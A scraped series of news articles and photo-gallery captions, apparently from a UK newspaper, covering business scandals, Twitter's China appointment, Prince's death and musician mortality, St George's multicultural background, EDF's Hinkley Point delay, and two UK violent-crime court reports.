Biggest business scandals in pictures Show all 20 1 /20 Biggest business scandals in pictures Biggest business scandals in pictures Volkswagen emissions scandal VW admitted to rigging its US emission tests so that diesel-powered cars would looks like they were emitting less nitrous oxide, which can damage the ozone layer and contribute to respiratory diseases. Around 11 million cars worldwide were affected. Getty Biggest business scandals in pictures Martin Shkreli and Turing Pharmaceuticals Martin Shkreli became known as the most hated man in the world after his drug company, Turing, increased the price of a 62-year-old drug that treated HIV patients by 5,000% to $750 a pill. He was charged with illegally taking stock from Retrophin, a biotechnology firm he started in 2011, and using it pay off debts from unrelated business dealings. Shkreli, who maintains he is innocent, and says there is little evidence of fraud because his investors didn't lose money. Biggest business scandals in pictures Panama Papers: Millions of leaked documents expose how worlds rich and powerful hid money - April 2016 Millions of confidential documents have been leaked from one of the worlds most secretive law firms, exposing how the rich and powerful have hidden their money. Dictators and other heads of state have been accused of laundering money, avoiding sanctions and evading tax, according to the unprecedented cache of papers that show the inner workings of the law firm Mossack Fonseca, which is based in Panama. Getty Biggest business scandals in pictures Google's tax avoidance Google reached a deal with the HM Revenue and Customs to pay back 130 million in so-called back-taxes that have been due since 2005. George Osborne championed the deal as a major success. But European MEPs have since called for the Chancellor to appear in front of the committee on tax rulings to explain the tax deal. Getty Biggest business scandals in pictures Rogue trader A French court cut the damages owed by rogue trader Jerome Kerviel from 4.9bn (4.2bn) to just 1m (860,000). The court ruled on that Kerviel was partly responsible for massive losses suffered in 2008 by his former employer Societe Generale through his reckless trades. Kerviel has consistently maintained that bosses at the French bank knew what he was doing all along. AP Biggest business scandals in pictures Barclays CEO under investigation for trying to identify whistleblower - Monday Paril 10 Authorities have launched an investigation into Barclays chief executive officer Jes Staley for trying to identify a whistleblower, the bank said on Monday. The Financial Conduct Authority (FCA) and the Prudential Regulation Authority (PRA) are both investigating Mr Staley after the bank notified them that Mr Staley had tried to identify the author of two anonymous letters, which were sent to the board and a senior executive in June 2016. Getty Biggest business scandals in pictures UK to crack down on bank money laundering after reports of 65bn Russian scam, City minister says - March 2017 The Economic Secretary to the Treasury has vowed that the Government will crack down on money laundering practices, after several of the UK's biggest banks were accused of processing money from a Russian scam, believed to involve up to $80bn (65bn). Reuters Biggest business scandals in pictures Former HBOS bankers convicted of bribery and fraud over 245m loan scam - February 2017 Two former HBOS bankers were among six people found guilty of bribery and fraud that cost customers and shareholders hundreds of millions of pounds, the BBC reports. Lynden Scourfield, 54, a manager at HBOS, forced struggling clients to use the services of his friends David Mills, 60, and Michael Bancroft, 73. In return, the two businessmen arranged sex parties, cash and lavish gifts. On Monday, the three were convicted at Southwark Crown Court on accounts including bribery, fraud and money laundering. Mark Dobson, another manager at HBOS, Alison Mills, and John Cartwright were also convicted. Getty Biggest business scandals in pictures Lloyds chief apologises for damage caused by affair allegations - August 2016 Antonio Horta-Osorio, the chief executive of Lloyds Bank, has broken his silence over allegations about his private life admitting he regrets any "damage done to the group's reputation". In a message sent to the bank's 75,000 employees, the banker said that anyone can make mistakes while insisting that staff had to maintain the highest professional standards. Getty Biggest business scandals in pictures Christine Lagarde faces court over 340m Bernard Tapie payment - July 2016 The head of the International Monetary Fund (IMF), Christine Lagarde, must stand trial in France over a payment of 403 million (now 340m, then 290m) to tycoon Bernard Tapie, a France's highest appeals court has ruled. The court rejected Ms Lagarde's appeal against a judge's order in December for her to stand trial over allegations of negligence in her handling of the affair. Ms Lagarde could risk a maximum penalty of one year in prison and a fine of 15,000 euros if convicted. Reuters Biggest business scandals in pictures HSBC senior manager arrested in FX rigging investigation at JFK airport in New York - July 2016 A senior executive at HSBC has been arrested at New York's JFK airport for his alleged involvement in a conspiracy to rig currency benchmarks, according to reports. Mark Johnson, global head of foreign exchange cash trading in London, was reportedly arrested on Tuesday. He will appear before a federal court in Brooklyn on Wednesday charged with conspiracy to commit wire fraud, Bloomberg said. Getty Biggest business scandals in pictures Former PwC employees found guilty in 'Luxleaks' tax scandal - June 2016 Two ex- PricewaterhouseCoopers staffers were found guilty in Luxembourg of stealing confidential tax files that helped unleash a global scandal over generous fiscal deals for hundreds of international companies. Antoine Deltour and Raphael Halet face suspended sentences of 12 months and 9 months and were ordered to pay fines of 1,500 (1,230) and 1,000 (822) for their role in the so-called LuxLeaks scandal. Despite the minimal sentences, the ruling was described by Deltours lawyer as shocking and a terrible anomaly. The ruling puts on guard future whistle-blowers, Deltour told reporters.The LuxLeaks revelations sped beyond Luxembourg, causing European Union regulators to expand a tax-subsidy probe and propose new laws to fight corporate tax dodging, while EU lawmakers created a special committee to probe fiscal deals across the 28-nation bloc. Reuters Biggest business scandals in pictures Goldman Sachs dealmakers lavished Libyan officials with prostitutes to win contract - June 2016 A former Goldman Sachs dealmaker trying to persuade Gadaffi-era Libya to invest $1 billion with the investment bank procured prostitutes and invited Libyan officials to lavish parties in the hope of winning the business, the High Court heard on Monday June 13.The Libyan Investment Authority sovereign wealth fund is suing Goldman Sachs for inappropriately coercing its naive staff into giving its sovereign wealth fund cash to the bank to invest in products they did not understand. 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The company founder said that workers were paid less than the statutory minimum because of bottlenecks at security in an admission that could result in sanctions from HMRC. Reuters Biggest business scandals in pictures Mitsubishi admits improper fuel tests - April 2016 Mitsubishi has admitted to using false fuel methods dating back to 1991. The scale of the scandal is only just coming to light after it was revealed in April that data was falsified in the testing of four types of cars, including two Nissan cars. AP Biggest business scandals in pictures Quindell, the scandal-ridden insurance firm Quindell was once a darling of AIM but its share price fell in April 2014 when its accounting practices were attacked in a stinging research note by US short seller Gotham City. In August the group was forced to disclose that the 107 million pre-tax profit it had reported for 2013 was incorrect, and it had in fact suffered a 64million loss. Getty Biggest business scandals in pictures Toshiba Accounting Scandal The boss of Toshiba, the Japanese technology giant, resigned in disgrace in the wake of one of the countrys biggest ever accounting scandals. His exit came two months after the company revealed that it was investigating accounting irregularities. An independent investigatory panel said that Toshibas management had inflated its reported profits by up to 152 billion yen (780m) between 2008 and 2014. Biggest business scandals in pictures FIFA Corruption Scandal Fifa, football's world governing body, has been engulfed by claims of widespread corruption since the summer of 2015, when the US Department of Justice indicted several top executives. It has now claimed the careers of two of the most powerful men in football, Fifa President Sepp Blatter and Uefa President Michel Platini, after they were banned for eight years from all football-related activities by Fifa's ethics committee. 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"If you make money you should pay some taxes to government on it, I believe that very strongly," he said.

"We knew the company we founded in 1976 would be a worldwide company and we just assumed we would pay taxes on it.

"Maybe the taxes are different for a company than they are for a person, but we didn't think we'd be figuring ways to go off to the Bahamas to have special accounts like people do to hide their money," he added.
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Just how low will Silicon Valleys internet chieftans bow in order to get access to the China market? Twitters appointment of Kathy Chen as Twitters managing director for Greater China would seem to suggest that the answer is: pretty low.

Ms Chen was an engineer in the Chinese military in the 1980s. In itself thats not so unusual. Plenty of Chinese graduates have been through the military, especially the older generation. But Ms Chens admission in a 2004 interview that she once helped develop software for a firm in which Chinas ministry of public security held a stake and which would filter information of political sensitivity is obviously more worrying.

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Twitter says the idea Chen is a Beijing-friendly placewoman is over-blown  and that she was only involved in eradicating viruses rather than rooting out political dissent.

Yet she didnt help herself by replying to a congratulatory Tweet from Chinas official Xinhua news service with a public message saying: Thanks and look forward to closer partnership in the future! Xinhua, suffice to say, is not renowned for its political independence.

Democracy activists are furious at what they regard as Twitters pandering to the autocrats of the Communist Party through the appointment of such a compromised figure. [Twitter] is a place where we can reveal the truth and which helps us to communicate and cooperatebut Kathy Chens appointment destroys all that said the veteran Beijing-based dissident Hu Jia. It isnt just betraying us, but it is also betraying itself and betraying its moral responsibility to a free society.

Its worth bearing in mind that the social media landscape in China is very different to that in the West. Hu Jia and the artist Ai Wei Wei are prolific presences on Twitter. But for the vast majority of Chinese citizens the social media site is entirely off the radar because its blocked by the Great Firewall of China  the vast blanket of online censorship imposed by the Beijing government.

There are believed to be only around 18,000 active Twitter users on the mainland, those who bother to circumvent these controls through various technological fixes. In a country of 1.3 billion people this is, of course, a miniscule number of tweeters. Contrast that with the 500-odd million registered users of Sina Weibo, a Chinese version of Twitter (which is routinely censored). Even if Twitter wasnt blocked in China, people would still definitely choose Weibo one Chinese friend tells me.

Hong Kong is not encircled by the Beijing internet firewall. Yet in the former British colony, Twitter tends to be used by intellectuals and journalists. For most people in the territory it is much less popular than Facebook.

Facebooks future in mainland China is perhaps the most interesting story. The dominant global social network was banned in 2009 but its founder and chief executive Mark Zuckerberg has been cosying up to Beijing relentlessly in recent months. In March he met Chinas propaganda chief Liu Yunshan and posted a picture of himself cheerily jogging in the smog-choked Tiananmen Square (promoting much scorn online).

Nine photos of completely deserted and creepy Chinese amusement parks Show all 9 1 /9 Nine photos of completely deserted and creepy Chinese amusement parks Nine photos of completely deserted and creepy Chinese amusement parks Little China, Shenzhen The feeling that Cerio coaxes with his images is purposefully "detached." He frames the structures to appear disconnected  from their environment and from the viewer. As the parks reopen and visitors flood in, the amusement parks become happy again. But Cerio asks, "Why don't they represent this to begin with?" Stefano Cerio Nine photos of completely deserted and creepy Chinese amusement parks Huairou Here we have the rather mysterious cover image for Cerio's book. He doesn't explain why the giant fruit installation exists or how it came to be. That sense of wonder is part of his art Stefano Cerio Nine photos of completely deserted and creepy Chinese amusement parks Shilaoren Bathing Beach, Qingdao The series is actually about the concept of human amusement. We're meant to question our ideas of happiness, as well as the true nature of these structures. Cerio wants viewers to realize that happiness can be found in other, less obvious places  or simply within us, wanting and waiting to be found Stefano Cerio Nine photos of completely deserted and creepy Chinese amusement parks Polar Ocean Park, Qingdao He took the pictures in cities across China, such as Hong Kong, Shanghai, Beijing, Qingdao, Shenzhen, Guangzhou, Macao, and Dongguan Stefano Cerio Nine photos of completely deserted and creepy Chinese amusement parks Happy Valley, Shenzhen Although this strange series was shot in China, Cerio insists that the project is not social commentary on China's culture, or the country as a whole Stefano Cerio Nine photos of completely deserted and creepy Chinese amusement parks Huairou Cerio used the severe levels of pollution and consistent smog in the surrounding areas to create his own eerie dystopia through the diffused and gentle light of the gray skies Stefano Cerio Nine photos of completely deserted and creepy Chinese amusement parks Shijingshang Park, Beijing General images of amusement rides and carnival food stands usually trigger nostalgic, happy memories. But through Cerio's washed-out, muted color palette  and especially without people around  the spaces verge on depressing Stefano Cerio Nine photos of completely deserted and creepy Chinese amusement parks Treasure Island Pirate Kingdom, Qingdao Those five themes are explored through recreational areas generally visited by the public for holidays and vacations. What these spaces look like when they're completely empty allows us to see them in a new light  and to question their existence Stefano Cerio Nine photos of completely deserted and creepy Chinese amusement parks Shanghai Happy Valley, Shanghai Five major themes recur in Cerio's work: representation, illusion, vision, expectations, and reality. Here, he questions whether rides, and the parks they reside in, are symbols of happiness, or merely an illusion Stefano Cerio

Zuckerberg, whose wife is Chinese, clearly wants back into China. But what will he have to surrender to gain access? Yahoo! notoriously assisted the Chinese authorities in tracking down online dissidents more than a decade ago. Google effectively pulled out of China in 2010 when it tired of Beijings demands that it filter its search results. But now Google wants to return too. And this all comes at a time when the Chinese president Xi Jinping is cracking down on internal political dissent with a vigour not seen, according to some, since the days of Mao Zedong.

No matter the true motivations behind Ms Chens appointment, it is pretty clear which way Silicon Valley is leaning in the great trade-off between free speech and commercial advantage in China. And it is down into the kowtow position.

Ben Chu is the author of Chinese Whispers: Why Everything You've Heard About China is Wrong
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Legendary musician Prince has been found dead at his home in suburban Minneapolis at age 57.

The circumstances of his death aren't currently known, but famous musicians have a tendency to die young. Music fans and researchers ruefully note the existence of the "27 club," which includes famous artists  Kurt Cobain, Amy Winehouse, Janis Joplin and Jimi Hendrix among them  who met tragic early deaths at that age.

But research published at The Conversation by Dianna Theadora Kenny, a professor of psychology and music at the University of Sydney, finds that the 27 club is largely a myth.

 Prince's most iconic looks

Kenney analyzed the deaths of over 12,000 popular musicians between the years of 1950 and 2014. What she found was that the late 50s and early 60s are the years the artists in her database were most likely to die.

(Dianna Theadora Kenny/The Conversation (Dianna Theadora Kenny/The Conversation)

Prince was 57, the age with the third-highest frequency of mortality in Kenny's database. The deadliest age was 56, with 2.3 percent of the deaths occurring then.

Researchers have generally found that the risk of death for musicians is higher in the younger decades of their life than it is for the general population. Kenny's research shows that the life expectancy for the pop musicians in her database is significantly lower than life expectancy among the general population, at all decades in her study.

(Dianna Theadora Kenny/The Conversation (Dianna Theadora Kenny/The Conversation)

"Across the seven decades studied, popular musicians lifespans were up to 25 years shorter than the comparable US population," Kenny writes. "Accidental death rates were between five and 10 times greater. Suicide rates were between two and seven times greater; and homicide rates were up to eight times greater than the US population."

Prince - A Life in Pictures Show all 10 1 /10 Prince - A Life in Pictures Prince - A Life in Pictures Prince Rogers Nelson, known by his mononym Prince, who has died at the age of 57 at his Paisley Park compound in Minnesota PA Prince - A Life in Pictures Prince performs in concert at Riverfront Coliseum during his Purple Rain Tour in Cincinnati, Ohio, on January 22nd, 1985 AP Prince - A Life in Pictures US singer and musician Prince performing on stage at the Stade de France in Saint-Denis, outside Paris on June 30th 2011 AFP / Getty Prince - A Life in Pictures US musician Prince performing on the Stravinski Hall stage during the 47th Montreux Jazz Festival, in Montreux, Switzerland on 21 April, 2013 EPA Prince - A Life in Pictures Prince performs during the 'Pepsi Halftime Show' at Super Bowl XLI between the Indianapolis Colts and the Chicago Bears on February 4, 2007 2007 Getty Images Prince - A Life in Pictures Prince plays during a press conference at the Miami Beach Convention Center, February 1st, 2007 AP Prince - A Life in Pictures Prince performs during the second day of the Coachella Valley Music and Arts Festival in Indio, California on April 26th 2008 AP Prince - A Life in Pictures Prince performs before a sold-out audience, in Houston on January 11th 1985 AP Prince - A Life in Pictures Musician Prince gestures on stage during the Apollo Theatre's 75th anniversary gala in New York, June 8, 2009 Reuters Prince - A Life in Pictures Prince Rogers Nelson, known by his mononym Prince, who has died at the age of 57 at his Paisley Park compound in Minnesota PA

Kenny's data strongly suggest that the life of a pop star isn't all glamour and glory  there's a lot of human suffering lurking behind the curtains.

 Washington Post
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Saint George has become a symbol of nationalism in England, but there are some good reasons to think his life represents the values of a more benign ideology: multiculturalism.

His background was about as multicultural as you can get

Most historians think George was born in modern-day Turkey to a Greek family. He served in the army of an Italian city-state and ultimately died living in modern-day Palestine. His parents, though Greek-speaking, were from Cappadocia in central Turkey and Palestine respectively.

Saint Georges heritage was about as multicultural as you could get in the classical world.

St. George's Day celebrated across England Show all 9 1 /9 St. George's Day celebrated across England St. George's Day celebrated across England Residents look out of a window draped with the flag of St George, as they watch the parade in Emsworth, Hampshire PA St. George's Day celebrated across England Moped riders take part in Manchester's St George parade Getty St. George's Day celebrated across England A girl dressed as St George rides a horse in the Manchester parade Getty Images St. George's Day celebrated across England A boy dressed as St George takes a seat in Manchester's St George's Day parade Getty St. George's Day celebrated across England People dressed as St George take part in the parade in Manchester Getty St. George's Day celebrated across England A man with a St George tattoo on his calf takes part in the parade in Manchester Getty St. George's Day celebrated across England The Kirby Estate in Bermondsey, London is decorated with St George flags AP St. George's Day celebrated across England The Kirby Estate was made famous last summer when it was similarly decorated for the World Cup AP St. George's Day celebrated across England A veteran passes by a flag of St George on his way to the parade in Emsworth, Hampshire PA

He was an immigrant

George moved country looking for work, probably immigrating from Cappadocia to Palestine to be employed as a palace guard for the emperor Diocletian.

He moved between the provinces of the vast Roman empire in the way a skilled manual worker might travel between the member states of the EU to find better employment.

He spread new religious ideas from abroad

A partial solar eclipse in seen above a mosque in Oxford, central England

For centuries the Roman Empire had worshiped its native pagan gods. George came to fame because he spread his foreign, Middle Eastern, religion to western civilization.

He supposedly convinced Empress Alexandra of Rome to adopt the new, expanding religion  Christianity  which spread throughout the empire until it was officially adopted. Most of the empires European successor states are still Christian today.

Hes the patron saint of a lot of diverse places

(Creative Commons)

Saint George isnt just the patron saint of England: Hes the patron saint of Bulgaria, Palestine, Ethiopia, Greece and Lithuania.

Hes also arguably most significantly the patron saint of Georgia, where Saint Georges Day is celebrated twice a year. The countrys name in English was considered by medieval chroniclers to have derived from the saints name.

He was a soldier for a multicultural European super-state

(Creative Commons)

As a tribune in the Roman army, George was fighting for a Europe-wide super-state that famously let its inhabitants keep their local traditions.

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In the imperial capital of Rome there were Britons mixing with Greeks and people from Palestine and Gaul.

As long as loyalty was pledged the emperor, local religious and cultural customs could continue and were incorporated into the empire.

He was persecuted by people intolerant of his foreign religion

(Getty Images)

As an immigrant with a foreign religion, Saint George was at the receiving end of discrimination and persecution from the Roman authorities, who were becoming wary of Christianity's growing power.

While working in his new home the saint was hit by a new law to crack down on Christian soldiers: he was to be arrested and kicked out of the army.

George objected and was imprisoned and tortured and ultimately executed for his foreign ways. He would have benefited greatly from a higher degree of tolerance and multiculturalism.

This article was originally published in April 2016
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The actor Will Smith has revealed that he spoke with Prince the day before collapsed and died.

Smith, star of the recent movie Concussion, posted a message on Facebook in which she said the musician had been an inspiration to him. He said that his family was mourning along with countless others.

I am stunned and heartbroken. I just spoke with him last night, he wrote on Thursday, the day that the musician was discovered dead in his recording studio outside of Minneapolis.

Today, Jada & I mourn with all of you the loss of a beautiful poet, a true inspiration, and one of the most magnificent artists to ever grace this earth.

Smiths wife, Jada Pinkett Smith also posted her own thoughts on Facebook, calling Prince a genius artist and adding: He showed me early the power of living ones life by one's own rules and no one elses.
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The French electricity giant EDF has thrown the British governments energy strategy into disarray by reportedly delaying  possibly until next year  a decision on whether it will build a new 18bn nuclear power station at Hinkley Point in Somerset.

Jean-Bernard Levy, the head of EDF, has bowed to pressure from unions and senior company engineers and agreed to seek a fresh opinion from the companys union-management consultative council, the respected French newspaper Le Figaro reported.

EDF said it could not immediately confirm the report. Sources in the company told the French newspaper that the consultation process would take several months and that no decision on whether to go ahead with its involvement in Hinkley Point  expected to supply eight per cent of British slectricity by 2025  would be made before next year.

Environmental campaign group Greenpeace claimed the delay could be "a sign that the entire project is coming to a grinding halt", adding that the UK should back renewable energy "as a more reliable alternative" to nuclear power.

The firm has been under enormous pressure from both the British and French governments to announce early next month a definite commitment to build, and largely finance, the two new generation nuclear reactors at Hinkley. The French economy minister Emmanuel Macron told the Andrew Marr Show on BBC TV that their agreement was now certain.

However senior engineers and unions at the largely state-owned French company fear the project could destroy the struggling business. They have demanded a delay of at least two years to allow uncertainties about the experimental high-pressure water reactors planned for Hinkley to be resolved.

A senior executive of EDF, Thomas Piquemal, resigned last month after the company refused to postpone the investment until technological and financing problems were sorted out.

An internal report to the EDF board warned in February that it would be impossible for technical reasons to complete the two new generation nuclear reactors at Hinkley within the nine-year timetable. The report also suggested that the project could be financially disastrous for EDF, despite a commitment by the UK government to pay double the market rate for Hinkleys electricity.

Although China has agreed to invest 6.2bn in Hinkley Point, EDF has failed to find other backers, leaving it responsible for two thirds of the cost. Problems with the bulding of similar high-pressure water reactors in Finland and Normandy have led EDF unions and senior executives to recommed a three-year delay  until a new generation of technology become available.

But Paris and London are reported to have applied intense pressure on EDF to go ahead immediately.

The British government would face huge embarrassment if Hinkley Point, intended as the first of three new mega power stations, was abandoned or postponed. In October last year, China agreed, amid much fanfare in London and Beijing, to invest 6.2bn in the project.

In September, the Chancellor George Osborne said Hinkley Point was a central part of the governments strategy to make sure the lights stay on. The current generation of nuclear power stations are coming to the end of their life. Thats going to create a very big hole in our base electricity supply unless we do something about it, he told a House of Lords committee.

John Sauven, director of Greenpeace, which has campaigned against the reactor, told The Independent: "Delays to EDF making a decision about whether to invest in Hinkley are nothing new. So much so that it's been 14 months since it was first said that the decision would be coming imminently. But this latest delay from EDF is different.

"President Hollande, the French Economy Minister and EDF's chief executive have all very publicly promised the UK government a final decision before the 12 May. Backtracking on this pledge now is symbolic of the utter mess that EDF is in.

"But even if they could agree a finance package, it could be declared illegal state aid by the European Commission. This may now be the sign that the entire project is coming to a grinding halt and the UK government urgently needs to back renewable energy as a more reliable alternative."

A DECC spokesperson said: This is a commercial issue for EDF. We hope that this can be resolved as soon as possible so that progress can be made on reaching a final investment decision.
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A man and a woman who "tortured" a vulnerable man in a prolonged attack have been jailed for 25 years each.

Paul Lyons, 47, and Toni Ackerman, 35, from Doncaster, have been charged with attempted murder and robbery at Sheffield Crown Court.

They punched, stamped on, stabbed and burnt the 55-year-old male victim with an iron.

Toni Ackerman, 35, from Doncaster, has been charged with attempted murder and robbery (South Yorkshire Police)

Police were called to his house in Katherine Road, Thurcroft, on Tuesday 27 October, after a friend of the victim found him covered in blood and locked outside the house.

Detective Constable Janelle Dexter-Lowe, the investigating officer, said: This was a vicious, targeted attack on a vulnerable and defenceless man carried out by two evil individuals."

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He added: Thankfully, attacks like this are rare and the victim is now recovering from the despicable ordeal Lyons and Ackerman put him through.

"I hope that todays sentence will give him some comfort and contribute to his recovery.

Lyons and Ackerman each received 16 years for the robbery, which will run alongside the 25 year attempted murder sentence.
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A teenager who idolised the Yorkshire Ripper has been convicted of murdering two strangers in frenzied attacks.

James Fairweather, who was 15 at the time, stabbed James Attfield, 33, 102 times in a park in Colchester, Essex, in March 2014.

Three months later he knifed Saudi student Nahid Almanea, 31, as she walked along a nature trail in the town.

He was hunting a third victim when he was caught by police.

The 17-year-old, who can now be named after a reporting ban was lifted, admitted manslaughter, claiming he believed he was possessed by the devil and heard voices that compelled him to kill.

Undated handout photo issued by Essex Police of James Fairweather after his arrest (PA)

He denied murder on the grounds of diminished responsibility but was convicted by a jury at Guildford Crown Court.

The teenager was "turned on" by serial killers and researched Ian Huntley, Myra Hindley and Yorkshire Ripper Peter Sutcliffe, of whom he had a picture on his phone.

His favourite serial killer was American Ted Bundy, who sexually assaulted, murdered and decapitated his victims.

He wanted to emulate the serial killers he idolised and fantasised about killing his headteacher and parents, the court heard.

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 21 October 2022 Sculptor Peter McKenna puts the finishing touches to a pumpkin that will form part of the Planet A Hebden Bridge Pumpkin Trail in the West Yorkshire town PA UK news in pictures 20 October 2022 Britains Prime Minister Liz Truss delivers a speech outside of 10 Downing Street in central London to announce her resignation AFP/Getty UK news in pictures 19 October 2022 Salmon leap up Stainforth Force on the River Ribble in the Yorkshire Dales as they swim upriver to their spawning grounds during the annual Salmon migration PA UK news in pictures 18 October 2022 Just Stop Oil protesters continue their protest for a second day on the Queen Elizabeth II Bridge, which links Kent and Essex and which remains closed for traffic, after it was scaled by two climbers from the group PA UK news in pictures 17 October 2022 Hundreds of students take part in the traditional Raisin Monday foam fight on St Salvator's Lower College Lawn at the University of St Andrews in Fife PA UK news in pictures 16 October 2022 A protester holds a placard during a march into central London at a demonstration by the climate change protest group Extinction Rebellion AFP/Getty UK news in pictures 15 October 2022 A member of the public drags an activist who is blocking the road during a "Just Stop Oil" protest, in London, Britain REUTERS UK news in pictures 14 October 2022 Germanys Womens double skulls during day one of the World Rowing Beach Sprint Finals at Saundersfoot beach, Pembrokeshire PA UK news in pictures 13 October 2022 Family and mourners arrive at St Michael's Church, in Creeslough, for the funeral mass of 49-year-old mother of four Martina Martin, who died following an explosion at the Applegreen service station in the village of Creeslough in Co Donegal on Friday PA UK news in pictures 12 October 2022 Motorists in Coventry pass trees showing autumnal colour PA UK news in pictures 11 October 2022 A woman and her dog in the the North Sea at Tynemouth Longsands beach before sunrise PA UK news in pictures 10 October 2022 Police officers remove a campaigner from a Just Stop Oil protest on The Mall, near Buckingham Palace, London PA UK news in pictures 9 October 2022 A drummer plays during the Diwali on the Square celebration, in Trafalgar Square, London PA UK news in pictures 8 October 2022 Timothee Chalamet attending the UK premiere of Bones and All during the BFI London Film Festival 2022 at the Royal Festival Hall, Southbank Centre, London PA UK news in pictures 7 October 2022 Two young male fallow deer lock antlers in Dublins Phoenix park as rutting season begins PA UK news in pictures 6 October 2022 The Princess of Wales during a cocktail making competition during a visit to Trademarket, a new outdoor street-food and retail market situated in Belfast city centre, as part of the royal visit to Northern Ireland PA UK news in pictures 5 October 2022 Greenpeace protesters interrupt Prime Minister Liz Truss as she delivers her keynote speech to the Conservative Party annual conference PA UK news in pictures 4 October 2022 Prime Minister Liz Truss and Britains Chancellor of the Exchequer Kwasi Kwarteng wearing hard hats and hi-vis jackets, visit a construction site for a medical innovation campus in Birmingham AFP/Getty UK news in pictures 3 October 2022 British artist Sam Cox, aka Mr Doodle, reveals the Doodle House, a twelve-room mansion at Tenterden, in Kent, which has been covered, inside and out in the artist's trademark monochrome, cartoonish hand-drawn doodles PA UK news in pictures 2 October 2022 Erling Haaland celebrates after scoring Manchester City's second goal against Manchester United at Etihad Stadium. Haaland went on to score a hattrick, his third of the season in the Premier League. City beat United 6-3. Manchester City FC/Getty UK news in pictures 1 October 2022 Protesters hold up flags and placards at a protest in London. A variety of protest groups including Enough is Enough, Don't Pay and Just Stop Oil all demonstrated on the day AFP/Getty UK news in pictures 30 September 2022 British Prime Minister Liz Truss, who has not been seen in days, leaves the back of Downing Street after a meeting with Office For Budget Responsibility following the release of her governments mini-budget Getty UK news in pictures 29 September 2022 The Virginia creeper foliage on the Tu Hwnt i'r Bont (Beyond the Bridge) Llanwrst, Conwy North Wales, has changed colour from green to red in at the start of Autumn. The building was built in 1480 as a residential dwelling but has been a tearoom for over 50 years PA UK news in pictures 28 September 2022 Criminal barristers from the Criminal Bar Association (CBA), demonstrates outside the Royal Courts of Justice in London, as part of their ongoing pay row with the Government PA UK news in pictures 27 September 2022 David White, Garter King of Arms, poses with an envelope franked with the new cypher of King Charles III 'CIIIR', after it was printed in the Court Post Office at Buckingham Palace in central London AFP/Getty UK news in pictures 26 September 2022 A gallery staff member poses next to a painting by Lucian Freud - Self-portrait (Fragment), 1956 - on show at a photocall for the Credit Suisse exhibition - Lucian Freud: New Perspectives at the National Gallery in London PA UK news in pictures 25 September 2022 Labour leader, Sir Keir Starmer is interviewed by Laura Kuenssberg in Liverpool before the start of the Labour Party annual Conference which he opened with a tribute to Queen Elizabeth II and sang the national anthem PA UK news in pictures 24 September 2022 Handout photo issued by Buckingham Palace of the ledger stone at the King George VI Memorial Chapel, St George's Chapel, Windsor Castle PA UK news in pictures 23 September 2022 A climate change activist protests against UK private jets while lighting his right arm on fire during the Laver Cup tennis tournament at the O2 Arena in London EPA UK news in pictures 22 September 2022 Woody Woodmansey, Lee Bennett, Kevin Armstrong, Nick Moran and Clifford Slapper attend the unveiling of a stone for David Bowie on the Music Walk of Fame at Camden, north London PA UK news in pictures 21 September 2022 A flock of birds in the sky as the sun rises over Dungeness in Kent PA UK news in pictures 20 September 2022 Flowers which were laid by members of the public in tribute to Queen Elizabeth II at Hillsborough Castle in Northern Ireland are collected by the Hillsborough Gardening Team and volunteers to be replanted for those that can be saved or composted PA UK news in pictures 19 September 2022 The ceremonial procession of the coffin of Queen Elizabeth II travels down the long walk as it arrives at Windsor Castle for the committal service at St Georges Chapel AFP/Getty UK news in pictures 18 September 2022 A man stands among campers on The Mall ahead of the Queens funeral Reuters UK news in pictures 17 September 2022 Wolverhampton Wanderers Nathan Collins fouls Manchester Citys Jack Grealish leading to a red card. City went on to win the match at Molineux Stadium three goals to nil. Action Images/Reuters UK news in pictures 16 September 2022 Members of the public stand in the queue near Tower Bridge, and opposite the Tower of London, as they wait in line to pay their respects to the late Queen Elizabeth II, in London AFP via Getty Images UK news in pictures 15 September 2022 Members of the public in the queue on in Potters Fields Park, central London, as they wait to view Queen Elizabeth II lying in state ahead of her funeral on Monday PA UK news in pictures 14 September 2022 The first members of the public pay their respects as the vigil begins around the coffin of Queen Elizabeth II in Westminster Hall, London, where it will lie in state ahead of her funeral on Monday PA UK news in pictures 13 September 2022 Crowds cheer as King Charles III and Camilla, Queen Consort arrive for a visit to Hillsborough Castle Getty UK news in pictures 12 September 2022 Crowds line the Royal Mile, Edinburgh, as King Charles III joins a procession from the Palace of Holyroodhouse to St Giles Cathedral following the coffin of Queen Elizabeth II Katielee Arrowsmith/SWNS UK news in pictures 11 September 2022 Members of the Public pay their respects as the hearse carrying the coffin of Queen Elizabeth II, draped in the Royal Standard of Scotland, is driven through Ballater AFP/Getty UK news in pictures 10 September 2022 Britain's Prince William, Prince of Wales, Britain's Catherine, Princess of Wales, Britain's Prince Harry, Duke of Sussex, Britain's Meghan, Duchess of Sussex, wave at well-wishers on the Long walk at Windsor Castle AFP/Getty UK news in pictures 9 September 2022 King Charles III and Camilla, Queen Consort wave after viewing floral tributes to the late Queen Elizabeth II outside Buckingham Palace Getty UK news in pictures 8 September 2022 A screen commemorating Britain's Queen Elizabeth II in Piccadilly Circus, London Britain EPA UK news in pictures 7 September 2022 Police officers stand guard after Animal Rebellion activists threw paint on the walls and road outside the Houses of Parliament in protest, in London, Britain Reuters UK news in pictures 6 September 2022 Queen Elizabeth II welcomes Liz Truss during an audience at Balmoral, Scotland, where she invited the newly elected leader of the Conservative party to become Prime Minister and form a new government PA UK news in pictures 5 September 2022 Visitors at the PoliNations garden in Victoria Square, Birmingham, which is made up of five 40ft high tree installations and over 6,000 plants. The PoliNations programme aims to explore how migration and cross-pollination have shaped the UKs gardens and culture PA UK news in pictures 4 September 2022 Undergraduates at the University of St Andrews take part in the traditional Pier Walk along the harbour walls of St Andrews before the start of the new academic year PA UK news in pictures 3 September 2022 The Massed Pipes and Drums parade during the Braemar Highland Gathering at the Princess Royal and Duke of Fife Memorial Park PA UK news in pictures 2 September 2022 Number 12 Company Irish Guards at Wellington Barracks, central London, before commencing their first Guard Mount at Buckingham Palace PA

After he killed, he obsessively looked up press coverage of the murders on the internet.

Fairweather, who has been diagnosed with autism, admitted the killings.

In police interviews he told detectives he heard voices, adding: "They said we need another sacrifice and I was going to get my third victim but there was no one about."

His defence lawyers argued that he had full-blown psychosis and did not fully understand what he was doing.

But this was dismissed by prosecutor Philip Bennetts QC, who said the youth "understood his conduct at the time" and "was able to form a reasonable judgment".

The court heard that Fairweather lied about hearing voices and having hallucinations to try to get off the murder charges.

Psychiatrist Dr Philip Joseph said the teenager's description of hallucinations were "cliched" and "unconvincing".

He added: "It seems more like something you might see in a horror film."

